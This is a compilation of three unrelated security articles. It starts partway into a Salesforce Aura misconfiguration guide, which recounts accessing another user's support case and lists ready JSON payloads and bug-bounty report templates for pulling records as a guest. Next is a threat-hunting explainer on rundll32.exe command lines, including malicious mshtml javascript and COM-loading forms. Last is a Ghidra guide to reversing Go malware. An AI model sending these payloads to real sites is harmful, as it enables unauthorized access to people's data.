Example method description from ‘/auraCmpDef’ for the built in ‘forceSearch:resultsGridLVMDataManager’ It’s bad enough that you’re often guessing parameter values for parameters of a String type, but even worse are parameters which expect an object, as you’re now dealing with potentially quite a few blind parameters within said object itself and their respective values. Here’s a fairly obvious and handy trick for this. If an object is expecting a return type of ‘aura://User’, check to see if any other apex methods have a ‘rt’ value of ‘aura://User’, and then use the output from that method as the input for the first.

Putting that all together

Now that you’re able to extract data from objects and interact with apex classes, below is a real issue I’ve found which paired the two:

  1. Fetched custom objects and attempted to extract data from each using the getItems method of SelectableListDataProviderController. Object ‘Case_Files__c’ disclosed a Case record ID (Id), case number (caseNum), and S3 bucket file location for case files (acl was private), for all user created support cases.
  2. Authenticating to the application and submitting my own case file while proxying through Burp disclosed the a number of methods for a custom apex class in a response. In addition these methods were being used when I attached my own case files, and as such I was able to have a greater understanding of their functionality based on inputs that were populated by components automatically and the ‘returnValue’ JSON object in the respective responses of these requests:comBucketAttachmentController/ACTION$insertAttach — Uploads the file specified to the case (in conjunction with a POST request to the S3 bucket)
    comBucketAttachmentController/ACTION$updateCaseStatus — Updates the case status (saves it)
    comBucketAttachmentController/ACTION$getCaseAttachments — Shows case attachments for a given case.
  3. The insertAttach method took several parameters such as file size, file name, bucket name etc et al. But most interesting were ‘caseNumber’ and ‘caseId’ parameters of type ‘aura://String’. Since I already had an example image on the S3 bucket, I attempted to use another user’s case information leaked in the ‘Case_Files__c’ object without making having to make a POST request to the bucket. Swapping my ‘caseNumber’ with their ‘caseNum’ value, and ‘caseId’ with their ‘Id’ value from the custom object, I submitted a request and received the same success-style response that I had received when attaching files to my own case (“returnValue”:”success”).
  4. In order to save the file to the case, updateCaseStatus was used which took only a ‘caseId’ parameter. Using the same victim’s Case record ID as the last request, I received a ‘Status Changed’ response. Sensitive identifying information redacted, below is the exact payload used. Notice that I called two apex class methods in the one request, as you are able to call multiple methods within the one message:
{"actions":[{"id":"579;a","descriptor":"apex://comBucketAttachmentController/ACTION$insertAttach","callingDescriptor":"UNKNOWN","params":{"caseId":"<VICTIM CASE ID>","filename":"dog.jpg","bucket":"redacted-support","caseNumber":"<VICTIM CASE NUMBER>","fileType":"image/jpeg","fileSize":"28.8 KB","fileFinal":"dog.20201007-174332.jpg","accountName":"Aaron Costello"}},{"id":"580;a","descriptor":"apex://comBucketAttachmentController/ACTION$updateCaseStatus","callingDescriptor":"UNKNOWN","params":{"caseID":"<VICTIM CASE ID>"}}]}

5. In order to confirm that it was successful, the getCaseAttachments method was used like so:

{"actions":[{"id":"2447;a","descriptor":"apex://comBucketAttachmentController/ACTION$getCaseAttachments","callingDescriptor":"UNKNOWN","params":{"caseId":"<VICTIM CASE ID>"}}]}

6. Result showing that the file was added to the victim’s case (victim info redacted):

case.png

Security Updates

As mentioned in the “How does Salesforce implement security?” section, Saleforce seasonally role out important updates to will apply to new communities and can be pushed to existing ones. These updates can, and will, effect the impact of Salesforce misconfiguration findings. As such it’s vitally important be aware of changes being made. These release notes can be found here. Relevant sections for this article will be ‘Security, Privacy, and Identity’ and also ‘Communities’. Most of the time, these updates will address the Guest user and their accessibility to specific fields in an object or their ability to interact with “@AuraEnabled” methods. I will do my best to update this section with any significant changes in the future that may affect exploitability in any way.

Spring’21:

  • View All Users Permission to be Removed — Specifically for Guest users. This will affect the visibility Guest users’ have. This permission was disabled in Summer’20 and is to be removed now

Winter’21:

  • Secure Guest User Record Can’t Be Disabled — Private org-wide defaults for guest users & restrictions on the ability to grant record access to them. Unlike before where this could be ‘unchecked’, this update will remove that option and it will be mandatory.
  • Reduce Object Permissions for Guest Users — Disables the following object permissions for Guests: View All Data, Modify All Data, Edit, and Delete.
  • Let Guest Users See Other Members of This Community Setting Disabled — The ability for admins to grant Guest users visibility on other users can reveal PII information, and as such this setting will be turned off by default
  • Improved Security for Managed Topic Images — Communities before Winter’21 have managed topic images stored as documents and are publicly accessible, even if the community is intended to be private. This update will now have these images stored as private.

Payload Glossary

A compiled list of payloads I have discovered over a period of reconnaissance and exploitation of communities. If there are any useful built-in controller methods that are missing, I’d love if you reached out and I will add it here with credit.


SelectableListDataProviderController/ACTION$getItems — Returns pageSize amount of records from all fields in a specific object.

  • entityNameOrId — Object name
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"MARKER","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}

HostConfigController/ACTION$getConfigData — Returns all currently available objects

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}

ProfileMenuController/ACTION$getProfileMenuResponse — Returns minor current user details

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.self.service.components.profileMenu.ProfileMenuController/ACTION$getProfileMenuResponse","callingDescriptor":"UNKNOWN","params":{}}]}

ScopedResultsDataProviderController/ACTION$getLookupItems — Returns pageSize amount of records for a particular object that includes a specific term in a row.

  • scope — Object name
  • term — Search term, minimum 4 characters
  • additionalFields — Any other fields in the object that you wish to be returned in the record
Definition - /auraCmpDef?aura.app=markup://siteforce:communityApp&_au=<VALUE>&_def=markup://forceSearch:resultsGridLVMDataManager
Payload - {"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.search.components.forcesearch.scopedresultsdataprovider.ScopedResultsDataProviderController/ACTION$getLookupItems","callingDescriptor":"UNKNOWN","params":{"scope":"User","term":"script","pageSize":10,"currentPage":1,"enableRowActions":false,"additionalFields":[],"useADS":false}}]}

ListViewPickerDataProviderController/ACTION$getInitialListViews — Returns list views available for a given object from the ‘Recent’ list ID

  • scope — Object name
  • listIdOrApiName — ID of ListView to query
  • listViewTitle — Title of ListView to query
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewPickerDataProvider.ListViewPickerDataProviderController/ACTION$getInitialListViews","callingDescriptor":"UNKNOWN","params":{"scope":"Contact","listIdOrApiName":"Recent","listViewTitle":"Recently Viewed","maxMruResults":100,"maxAllResults":100}}]}

ListViewDataManagerController/ACTION$getItems — Returns records available from a given ListView ID

  • filterName — ID of ListView to query
  • entityName — Object name
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.listViewDataManager.ListViewDataManagerController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"filterName":"<LISTVIEW_ID>","entityName":"<OBJECT NAME>","pageSize":100,"layoutType":"LIST","sortBy":null,"getCount":true,"enableRowActions":false,"offset":0}}]}

DetailController/ACTION$getRecord — Returns the data in a given record ID

  • recordId — ID of the record to query
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.detail.DetailController/ACTION$getRecord","callingDescriptor":"UNKNOWN","params":{"recordId":"<RECORD_ID>","record":null,"inContextOfComponent":"","mode":"VIEW","layoutType":"FULL","defaultFieldValues":null,"navigationLocation":"LIST_VIEW_ROW"}}]}

ApexActionController/ACTION$execute — Alternative way to call an apex class method

  • classname — Name of apex class
  • method — Method being called
  • params — Parameter and value pairs taken by method
{"actions":[{"id":"123;a","descriptor":"aura://ApexActionController/ACTION$execute","callingDescriptor":"UNKNOWN","params":{"namespace":"","classname":"<APEX_CLASSNAME>","method":"<APEX_METHOD>","params":{},"cacheable":false,"isContinuation":false}}]}

Vulnerability Report Templates

If you’re going to use the information in this article to submit reports on bug bounty platforms or via responsible disclosure, I’d appreciate for the sake of security teams everywhere if you’d be considerate enough to put effort into the report document. I have taken the liberty of providing some templates below that you may use. Note that the following templates are formatted with Markdown, as this is commonly supported among BB platforms. Naturally the information in these template should be changed where necessary and are just ‘general’ templates for object and apex class method misconfigurations. Text that definitely needs to be changed has been surrounded by ‘\*\*’.

Insecure Object Permissions for Guest User

**Title:** [salesforce.site.com] Insecure Salesforce default/custom object permissions leads to information disclosure

* **Risk:** \*Low/Medium/High\*
* **Impact:** \*Low/Medium/High\*
* **Exploitability:** \*Low/Medium/High\*
* **CVSSv3:** \*CVSS_Score\* \*CVSS_STRING\*

**Target:** The Salesforce Lightning instance at `https://salesforce.example.com`.

**Impact:** The Salesforce Lightning instance does not enforce sufficient authorization checks when specific objects are requested. As such, an unauthenticated attacker may be able to extract sensitive data from the records in these objects which contains information of other users. This includes X,Y,Z in addition to other information.

**Description:** The web application at `https://salesforce.example.com` is built using [Salesforce Lightning](https://www.salesforce.com/eu/campaign/lightning/). Salesforce Lightning is a CRM for developing web applications providing a number of abstractions to simplify the development of data-driven applications. In particular, the [Aura](https://developer.salesforce.com/docs/component-library/bundle/aura:component) framework enables developers to build applications using reusable components exposing an API in order for the components to interact with the application.

During testing it was discovered that the Salesforce Lightning instance has loose permissions on the X,Y,Z objects for unauthenticated `Guest` users.

Therefore, a malicious attacker may be able to extract sensitive information belonging to other users of the application. To do this, an unauthenticated attacker may craft a HTTP request directly to the Aura API at `https://salesforce.site.com/s/sfsites/aura`, using built-in controller methods normally used by the Salesforce Lightning components. 

**Steps to Reproduce:**

1) Ensure Burp Suite is sniffing all HTTP(S) requests in the background
2) Navigate to `https://aaroncostello-developer-edition.eu45.force.com/`, this is to retrieve a template aura request for use
3) Find a POST request in Burp's Proxy history to the `/s/sfsites/aura` endpoint. Send it to the repeater
4) Modify both the `Host` header and Burp's target field to `salesforce.example.com`
5) Change the `message` POST parameter to the payload below. Please note that all other parameters should remain untouched, and that in this example payload, a pageSize of 100 is used for speed however more records can be retrieved:

```
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"<OBJECT>","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}
```

6) Submit the request
7) The response contains sensitive information belonging to other users, an example screenshot has been provided below:

{{Screenshot}}

**Remediation:** Enforce [record level security (RLS)](https://help.salesforce.com/articleView?id=security_data_access.htm&type=5
) on the vulnerable object to ensure records are only able to be retrieved by the record owner, and privileged users of the application.

Insecure CRUD permissions on custom Apex class method

**Title:** [salesforce.site.com] Insecure CRUD permissions on custom Apex class method

* **Risk:** \*Low/Medium/High\*
* **Impact:** \*Low/Medium/High\*
* **Exploitability:** \*Low/Medium/High\*
* **CVSSv3:** \*CVSS_Score\* \*CVSS_STRING\*

**Target:** The Salesforce Lightning instance at `https://salesforce.example.com`.

**Impact:** The Salesforce Lightning instance is implementing a custom class. One of the methods of this class does not carry-out sufficient CRUD permission checks. As such, an unauthenticated attacker can abuse this method in order to extract data from sensitive fields which are normally not accessible when accessed directly using built-in controller methods.

**Description:** The web application at `https://salesforce.example.com` is built using [Salesforce Lightning](https://www.salesforce.com/eu/campaign/lightning/). Salesforce Lightning is a CRM for developing web applications providing a number of abstractions to simplify the development of data-driven applications. In particular, the [Aura](https://developer.salesforce.com/docs/component-library/bundle/aura:component) framework enables developers to build applications using reusable components exposing an API in order for the components to interact with the application.

During testing it was discovered that the Salesforce Lightning instance has been customized to include a custom class, and method. Namely: \*`apex://ChangeMeController/ACTION$changeMe`\*. This method takes the `\*X\*` and `\*Y\*` parameters as input. 

When called, this method queries the instance for `\*Z\*` using the `\*X\*` and `\*Y\*` parameters, and returns a value in the response. However, the method does not carry out sufficient authorization checks to determine if the \*object/field/record\* requested should be accessible to the user and as such, an attacker may be able to list the values in the \*object/field/record\* for which they do not normally have the permissions to view.

**Steps to Reproduce:**

1) Ensure Burp Suite is sniffing all HTTP(S) requests in the background
2) Navigate to `https://aaroncostello-developer-edition.eu45.force.com/`, this is to retrieve a template aura request for use
3) Find a POST request in Burp's Proxy history to the `/s/sfsites/aura` endpoint. Send it to the repeater
4) Modify both the `Host` header and Burp's target field to `salesforce.example.com`
5) Change the `message` POST parameter to the payload below. Please note that all other parameters should remain untouched, and that in this example payload, a pageSize of 100 is used for speed however more records can be retrieved:

```
{"actions":[{"id":"123;a","descriptor":"apex://ChangeMeController/ACTION$changeMe","callingDescriptor":"UNKNOWN","params":{"<PARAM1>":"<VAL1>","<PARAM2>":"<VAL2>"}}]}
```

6) Submit the request
7) The response contains sensitive information belonging to other users, an example screenshot has been provided below:

{{Screenshot}}

**Remediation:** Modify the `changeMe` method to ensure that the user is authorized to view the request

A Deep Dive Into RUNDLL32.EXE

A Deep Dive Into RUNDLL32.EXE

Original text by Nasreddine Bencherchali

Image for post
When threat hunting malware one of the key skills to have is an understanding of the platform and the OS. To make the distinction between the good and the bad one has to know what’s good first.
On windows this can be a little tricky to achieve because of the complexity of the OS (after all it’s a 30+ years’ operating system).
Knowing this fact, malware authors write their malware to mimic normal windows processes. So you’ll see malware disguising itself as an “svchost.exe”, “rundll32.exe” or “lsass.exe” process, exploiting the fact that the majority of people using windows don’t know how these system processes behave in normal conditions.
Last time we’ve talked about the “svchost.exe” process and its command line options.

Demystifying the “SVCHOST.EXE” Process and Its Command Line OptionsUnderstanding the “svchost.exe” process and its command line optionsmedium.com

Today however we’ll be taking a look at “rundll32.exe” and understanding a little bit more about it.

RUNDLL32.EXE

As the name suggest, the “rundll32.exe” executable is used to “RUN DLL’s” or Dynamic Link Libraries (Below is the definition of a DLL from MSDN).

dynamic-link library (DLL) is a module that contains functions and data that can be used by another module (application or DLL) — MSDN

The most basic syntax for using “rundll32.exe” is the following.

rundll32 <DLLname>

The “rundll32.exe” executable can be a child or a parent process, it all depend on the context of the execution. And to determine if an instance of “rundll32.exe” is malicious or not we need to take a look at a couple of things. First is the path from which its being launched and second is its command line.

The valid “RUNDLL32.EXE” process is always located at:

\Windows\System32\rundll32.exe
\Windows\SysWOW64\rundll32.exe (32bit version on 64bit systems)

As for the command line of a “rundll32.exe” instance it all depends on what’s being launched whether be it a CPL file, a DLL install…etc.

For this let’s take a look at a couple of examples.

Running a DLL

In its basic form, “rundll32.exe” will just execute a DLL, so the first thing to check when seeing an instance of “rundll32.exe” is the legitimacy of the DLL being called.

Always check the location from where the DLL is called, for example kernel32.dll being called from %temp% is obviously malicious. And as a side note always check the hash on sites like VT.

SHELL32.DLL — “OpenAs_RunDLL”

“rundll32.exe” can also execute specific functions in DLL’s. For example, when selecting a file and performing a right click on it, a context menu will be shown that offers multiple options. One of the options is the “OpenWith” option. Once selected a pop-up will appear that’ll let’s select from a set of applications on the system.

Behind the scene this is actually launching the “rundll32.exe” utility with the “shell32.dll” and the “OpenAs_RunDLL” function.

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL <file_path>

This behavior of calling specific functions in a DLL is very common and it can be tricky to know all of them in advance. Below is a list containing a batch of “rundll32.exe” calls and their meaning.

SHELL32.DLL — “Control_RunDLL”, “Control_RunDLLAsUser” and Control Panel Applets

Image for post

Another common function we’ll see used with the “shell32.dll” is “Control_RunDLL” / “Control_RunDLLAsUser”. These two are used to run “.CPL” files or control panel items.

For example, when we want to change the Date and Time of the computer we launch the applet from the control panel.

Image for post

Behind the scene, windows launched a “rundll32.exe” instance with the following command line.

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\timedate.cpl

In addition to verifying the legitimacy of a DLL. When using the “Control_RunDLL” / “Control_RunDLLAsUser” functions, you should always check the legitimacy of a “.CPL” file.

Control Panel Items (.CPL)

CPL or Control Panel Items are programs that represent a functionality provided by the control panel or in other terms, they are DLL’s that exports the CPIApplet Function.

A “.CPL” file can contain multiple applets that can be referred to by an applet index and each applet can contain multiple tabs that can be referred to by a tab index.

We can access and request this information via the “rundll32.exe” utility as follow.

Image for post

For example, the “main.cpl” file in the System32 folder contains two applets. The “Mouse” and “Keyboard” properties. If we want to access the mouse properties and change the pointer, we’ll do it like this.

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\main.cpl,@0,1

As you can see, one can easily replace the “main.cpl” file with a malicious version and come by unnoticed to the untrained eye. In fact, that’s what malware authors have been doing to infect users.

In a normal case scenario, the parent process of a “rundll32.exe” instance with the “Control_RunDLL” function should be “explorer.exe” or “control.exe”

Other processes can also launch “rundll32.exe” with that function. For example, it can be a child of “Google Chrom”“MSGEDGE” or “IE” when launching the “inetcpl.cpl” for proxy / network configuration.

If you want more details about CPL and how malware is using it, you can read this trend micro research paper called CPL Malware.

DEVCLNT.DLL — “DavSetCookie” (Web Dav Client)

One of the mysterious command lines in a “rundll32.exe” instance that’ll show up a lot in the logs, takes the following format.

C:\WINDOWS\System32\rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie <Host> <Share>

When using the “file://” protocol, whether be it in a word file, or via share windows will sometimes use (if SMB is disabled in some cases) the WebDav Client to request these files. When that happens a request will be made via the “rundll32.exe” utility.

The parent process of such requests will be “svchost.exe” like so. (The “-s WebClient” is not obligatory)

C:\Windows\system32\svchost.exe -k LocalService -p -s WebClient

Malware like Emotet has already used this technique in the past. So always analyze the host that is present in this type of command line and make sure that everything is legitimate.

RUNDLL32.EXE — “-sta” / “-localserver” Flags

A lesser known command line arguments are the “-sta” and “-localserver”. Which both can be used to load malicious registered COM objects.

If you see in your logs or a process running with one of the following command line arguments.

rundll32.exe –localserver <CLSID_GUID>
rundll32.exe –sta <CLSID_GUID>

You need to verify the corresponding registry key [\HKEY_CLASSES_ROOT\CLSID\<GUID>] and its sub-keys and values for any malicious DLL or SCT script.

I highly suggest you read @bohops blog post for a detailed explanation on this technique and check hexacorn blog for the “-localserver” variant.Abusing the COM Registry Structure: CLSID, LocalServer32, &amp; InprocServer32TL;DR Vendors are notorious for including and/or leaving behind Registry artifacts that could potentially be abused by…bohops.com

RUNDLL32.EXE — Executing HTML / JAVASCRIPT

One other command line argument that attackers may use with “rundll32.exe” is the “javascript” flag.

In fact a “rundll32.exe” instance can run HTML / JavaScript code using the “mshtml.dll” and the “javascript” keyword (See Below).

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication <HTML Code>

I’ve never seen this used in a legitimate way. So if you spot this in your logs, it is worth investigating.

You can check the following resources to learn more about this technique.

Conclusion

Thanks for reading and I hope you enjoyed this quick look at Rundll32.

If you have any feedback or suggestions, send them my way via twitter @nas_bench

References

Reverse Engineering Go Binaries with Ghidra

Reverse Engineering Go Binaries with Ghidra

Original text by Dorka Palotay

Go (also called Golang) is an open source programming language designed by Google in 2007 and made available to the public in 2012. It gained popularity among developers over the years, but it’s not always used for good purposes. As it often happens, it attracts the attention of malware developers as well.

Using Go is a tempting choice for malware developers because it supports cross-compiling to run binaries on various operating systems. Compiling the same code for all major platforms (Windows, Linux, macOS) make the attacker’s life much easier, as they don’t have to develop and maintain different codebases for each target environment.

The Need to Reverse Engineer Go Binaries

Some features of the Go programming language give reverse engineers a hard time when investigating Go binaries. Reverse engineering tools (e.g. disassemblers) can do a great job analyzing binaries that are written in more popular languages (e.g. C, C++, .NET), but Go creates new challenges that make the analysis more cumbersome.

Go binaries are usually statically linked, which means that all of the necessary libraries are included in the compiled binary. This results in large binaries, which make malware distribution more difficult for the attackers. On the other hand, some security products also have issues handling large files. That means large binaries can help malware avoid detection. The other advantage of statically linked binaries for the attackers is that the malware can run on the target systems without dependency issues.

As we saw a continuous growth of malware written in Go and expect more malware families to emerge, we decided to dive deeper into the Go programming language and enhance our toolset to become more effective in investigating Go malware.

In this article, I will discuss two difficulties that reverse engineers face during Go binary analysis and show how we solve them.

Ghidra is an open source reverse engineering tool developed by the National Security Agency, which we frequently use for static malware analysis. It is possible to create custom scripts and plugins for Ghidra to provide specific functionalities that researchers need. We used this feature of Ghidra and created custom scripts to aid our Go binary analysis.

The topics discussed in this article were presented at the Hacktivity2020 online conference. The slides and other materials are available in our Github repository.

Lost Function Names in Stripped Binaries

The first issue is not specific to Go binaries, but stripped binaries in general. Compiled executable files can contain debug symbols which make debugging and analysis easier. When analysts reverse engineer a program that was compiled with debugging information, they can see not only memory addresses, but also the names of the routines and variables. However, malware authors usually compile files without this information, creating so-called stripped binaries. They do this to reduce the size of the file and make reverse engineering more difficult. When working with stripped binaries, analysts cannot rely on the function names to help them find their way around the code. With statically linked Go binaries, where all the necessary libraries are included, the analysis can slow down significantly.

To illustrate this issue, we used simple “Hello Hacktivity” examples written in C[1] and Go[2] for comparison and compiled them to stripped binaries. Note the size difference between the two executables.

c and go comparison executables

Ghidra’s Functions window lists all functions defined within the binaries. In the non-stripped versions function names are nicely visible and are of great help for reverse engineers.Ghidra functions list

Figure 1 – hello_c[3] function listghidra functions list golang

Figure 2 – hello_go[5] function list

The function lists for stripped binaries look like the following:ghidra functions list c stripped binary

Figure 3 – hello_c_strip[4] function listghidra functions list go stripped binary

Figure 4 – hello_go_strip[6] function list

These examples neatly show that even a simple “hello world” Go binary is huge, having more than a thousand functions. And in the stripped version reverse engineers cannot rely on the function names to aid their analysis.

Note: Due to stripping, not only did the function names disappear, but Ghidra also recognized only 1,139 functions of the 1,790 defined functions.

We were interested in whether there was a way to recover the function names within stripped binaries. First, we ran a simple string search to check if the function names were still available within the binaries. In the C example we looked for the function “main”, while in the Go example it was “main.main”.searching for main function

Figure 5 – hello_c[3] strings – “main” was found

Figure 6 – hello_c_strip[4] strings – “main” was not foundsearching for main.main function in go binary

Figure 7 – hello_go[5] strings – “main.main” was found

Figure 8 – hello_go_strip[6] strings – “main.main” was found

The strings utility could not find the function name in the stripped C binary[4], but “main.main” was still available in the Go version[6]. This discovery gave us some hope that function name recovery could be possible in stripped Go binaries.

Loading the binary[6] to Ghidra and searching for the “main.main” string will show its exact location. As you can be seen in the image below, the function name string is located within the .gopclntab section.ghidra main.main string go binary

Figure 9 – hello_go_strip[6] main.main string in Ghidra

The pclntab structure is available since Go 1.2 and nicely documented. The structure starts with a magic value followed by information about the architecture. Then the function symbol table holds information about the functions within the binary. The address of the entry point of each function is followed by a function metadata table.

pclntab structure go string

The function metadata table, among other important information, stores an offset to the function name.

It is possible to recover the function names by using this information. Our team created a script (go_func.py) for Ghidra to recover function names in stripped Go ELF files by executing the following steps:

  • Locates the pclntab structure
  • Extracts the function addresses
  • Finds function name offsets

Executing our script not only restores the function names, but it also defines previously unrecognized functions.defining undefined strings in go binary with ghidra

Figure 10 – hello_go_strip[6] function list after executing go_func.py

To see a real-world example let’s look at an eCh0raix ransomware sample[9]:ghidra ech0raix function list

Figure 11 – eCh0raix[9] function list

Figure 12 – eCh0raix[9] function list after executing go_func.py

This example clearly shows how much help the function name recovery script can be during reverse engineering. Analysts can assume that they are dealing with ransomware just by looking at the function names.

Note: There is no specific section for the pclntab structure in Windows Go binaries, and researchers need to explicitly search for the fields of this structure (e.g. magic value, possible field values). For macOS, the _gopclntab section is available, similar to .gopclntab in Linux binaries.

Challenges: Undefined Function Name Strings

If a function name string is not defined by Ghidra, then the function name recovery script will fail to rename that specific function, since it cannot find the function name string at the given location. To overcome this issue our script always checks if a defined data type is located at the function name address and, if not, tries to define a string data type at the given address before renaming a function.

In the example below, the function name string “log.New” is not defined in an eCh0raix ransomware sample[9], so the corresponding function cannot be renamed without creating a string first.

Figure 13 – eCh0raix[9] log.New function name undefined

Figure 14 – eCh0raix[9] log.New function couldn’t be renamed

The following lines in our script solve this issue:

Figure 15 – go_func.py

Unrecognized Strings in Go Binaries

The second issue that our scripts are solving is related to strings within Go binaries. Let’s turn back to the “Hello Hacktivity” examples and take a look at the defined strings within Ghidra.

70 strings are defined in the C binary[3], with “Hello, Hacktivity!” among them. Meanwhile, the Go binary[5] includes 6,540 strings, but searching for “hacktivity” gives no result. Such a high number of strings already makes it hard for reverse engineers to find the relevant ones, but, in this case, the string that we expected to find was not even recognized by Ghidra.start reverse engineering go binary with ghidra

Figure 16 – hello_c[3] defined strings with “Hello, Hacktivity!”

Figure 17 – hello_go[5] defined strings without “hacktivity”

To understand this problem, you need to know what a string is in Go. Unlike in C-like languages, where strings are sequences of characters terminated with a null character, strings in Go are sequences of bytes with a fixed length. Strings are Go-specific structures, built up by a pointer to the location of the string and an integer, which is the length of the string.

These strings are stored within Go binaries as a large string blob, which consists of the concatenation of the strings without null characters between them. So, while searching for “Hacktivity” using strings and grep gives the expected result in C, it returns a huge string blob containing “hacktivity” in Go.

Figure 18 – hello_c[3] string search for “Hacktivity”golang string blob

Figure 19 – hello_go[5] string search for “hacktivity”

Since strings are defined differently in Go, and the results referencing them within the assembly code are also different from the usual C-like solutions, Ghidra has a hard time with strings within Go binaries.

The string structure can be allocated in many different ways, it can be created statically or dynamically during runtime, it varies within different architectures and might even have multiple solutions within the same architecture. To solve this issue, our team created two scripts to help with identifying strings.

Dynamically Allocating String Structures

In the first case, string structures are created during runtime. A sequence of assembly instructions is responsible for setting up the structure before a string operation. Due to the different instruction sets, structure varies between architectures. Let’s go through a couple of use cases and show the instruction sequences that our script (find_dynamic_strings.py) looks for.

Dynamically Allocating String Structures for x86

First, let’s start with the “Hello Hacktivity” example[5].dynamically allocating string structures in x86

Figure 20 – hello_go[5] dynamic allocation of string structure

Figure 21 – hello_go[5] undefined “hello, hacktivity” string

After running the script, the code looks like this:

Figure 22 – hello_go[5] dynamic allocation of string structure after executing find_dynamic_strings.py

The string is defined:

Figure 23 – hello_go[5] defined “hello hacktivity” string

And “hacktivity” can be found in the Defined Strings view in Ghidra:defined strings golang binary ghidra

Figure 24 – hello_go[5] defined strings with “hacktivity”

The script looks for the following instruction sequences in 32-bit and 64-bit x86 binaries:

Figure 25 – eCh0raix[9] dynamic allocation of string structure

Figure 26 – hello_go[5] dynamic allocation of string structure

ARM Architecture and Dynamic String Allocation

For the 32-bit ARM architecture, I use the eCh0raix ransomware sample[10] to illustrate string recovery.ARM architecture and dynamic string allocation ech0raix

Figure 27 – eCh0raix[10] dynamic allocation of string structure

Figure 28 – eCh0raix[10] pointer to string address

Figure 29 – eCh0raix[10] undefined string

After executing the script, the code looks like this:

Figure 30 – eCh0raix[10] dynamic allocation of string structure after executing find_dynamic_strings.py

The pointer is renamed, and the string is defined:

Figure 31 – eCh0raix[10] pointer to string address after executing find_dynamic_strings.py

Figure 32 – eCh0raix[10] defined string after executing find_dynamic_strings.py

The script looks for the following instruction sequence in 32-bit ARM binaries:

For the 64-bit ARM architecture, let’s use a Kaiji sample[12] to illustrate string recovery. Here, the code uses two instruction sequences that only vary in one sequence.ARM dynamic string allocation Kaiji

Figure 33 – Kaiji[12] dynamic allocation of string structure

After executing the script, the code looks like this:

Figure 34 – Kaiji[12] dynamic allocation of string structure after executing find_dynamic_strings.py

The strings are defined:

Figure 35 – Kaiji[12] defined strings after executing find_dynamic_strings.py

The script looks for the following instruction sequences in 64-bit ARM binaries:

As you can see, a script can recover dynamically allocated string structures. This helps reverse engineers read the assembly code or look for interesting strings within the Defined String view in Ghidra.

Challenges for This Approach

The biggest drawback of this approach is that each architecture (and even different solutions within the same architecture) requires a new branch to be added to the script. Also, it is very easy to evade these predefined instruction sets. In the example below, where the length of the string is moved to an earlier register in a Kaiji 64-bit ARM malware sample[12], the script does not expect this and will therefore miss this string.

Figure 36 – Kaiji[12] dynamic allocation of string structure in an unusual way

Figure 37 – Kaiji[12] an undefined string

Statically Allocated String Structures

In this next case, our script (find_static_strings.py) looks for string structures that are statically allocated. This means that the string pointer is followed by the string length within the data section of the code.

This is how it looks in the x86 eCh0raix ransomware sample[9].statistically allocating string structures

Figure 38 – eCh0raix[9] static allocation of string structures

In the image above, string pointers are followed by string length values, however, Ghidra couldn’t recognize the addresses or the integer data types, except for the first pointer, which is directly referenced in the code.

Figure 39 – eCh0raix[9] string pointer

Undefined strings can be found by following the string addresses.

Figure 40 – eCh0raix[9] undefined strings

After executing the script, string addresses will be defined, along with the string length values and the strings themselves.

Figure 41 – eCh0raix[9] static allocation of string structures after executing find_static_strings.py

Figure 42 – eCh0raix[9] defined strings after executing find_static_strings.py

Challenges: Eliminating False Positives and Missing Strings

We want to eliminate false positives, which is why we:

  • Limit the string length
  • Search for printable characters
  • Search in data sections of the binaries

Obviously, strings can easily slip through as a result of these limitations. If you use the script, feel free to experiment, change the values, and find the best settings for your analysis. The following lines in the code are responsible for the length and character set limitations:

Figure 43 – find_static_strings.py

Figure 44 – find_static_strings.py

Further Challenges in String Recovery

Ghidra’s auto analysis might falsely identify certain data types. If this happens, our script will fail to create the correct data at that specific location. To overcome this issue the incorrect data type has to be removed first, and then the new one can be created.

For example, let’s take a look at the eCh0riax ransomware[9] with statically allocated string structures.string structure recovery statistic allocation

Figure 45 – eCh0raix[9] static allocation of string structures

Here the addresses are correctly identified, however, the string length values (supposed to be integer data types) are falsely defined as undefined4 values.

The following lines in our script are responsible for removing the incorrect data types:

Figure 46 – find_static_strings.py

After executing the script, all data types are correctly identified and the strings are defined.

Figure 47 – eCh0raix[9] static allocation of string structures after executing find_static_strings.py

Another issue comes from the fact that strings are concatenated and stored as a large string blob in Go binaries. In some cases, Ghidra defines a whole blob as a single string. These can be identified by the high number of offcut references. Offcut references are references to certain parts of the defined string, not the address where the string starts, but rather a place inside the string.

The example below is from an ARM Kaiji sample[12].

Figure 48 – Kaiji[12] falsely defined string in Ghidrafalsely defined string Kaiji reverse engineering go binary with ghidra

Figure 49 – Kaiji[12] offcut references of a falsely defined string

To find falsely defined strings, one can use the Defined Strings window in Ghidra and sort the strings by offcut reference count. Large strings with numerous offcut references can be undefined manually before executing the string recovery scripts. This way the scripts can successfully create the correct string data types.offcut reference ghidra

Figure 50 – Kaiji[12] defined strings

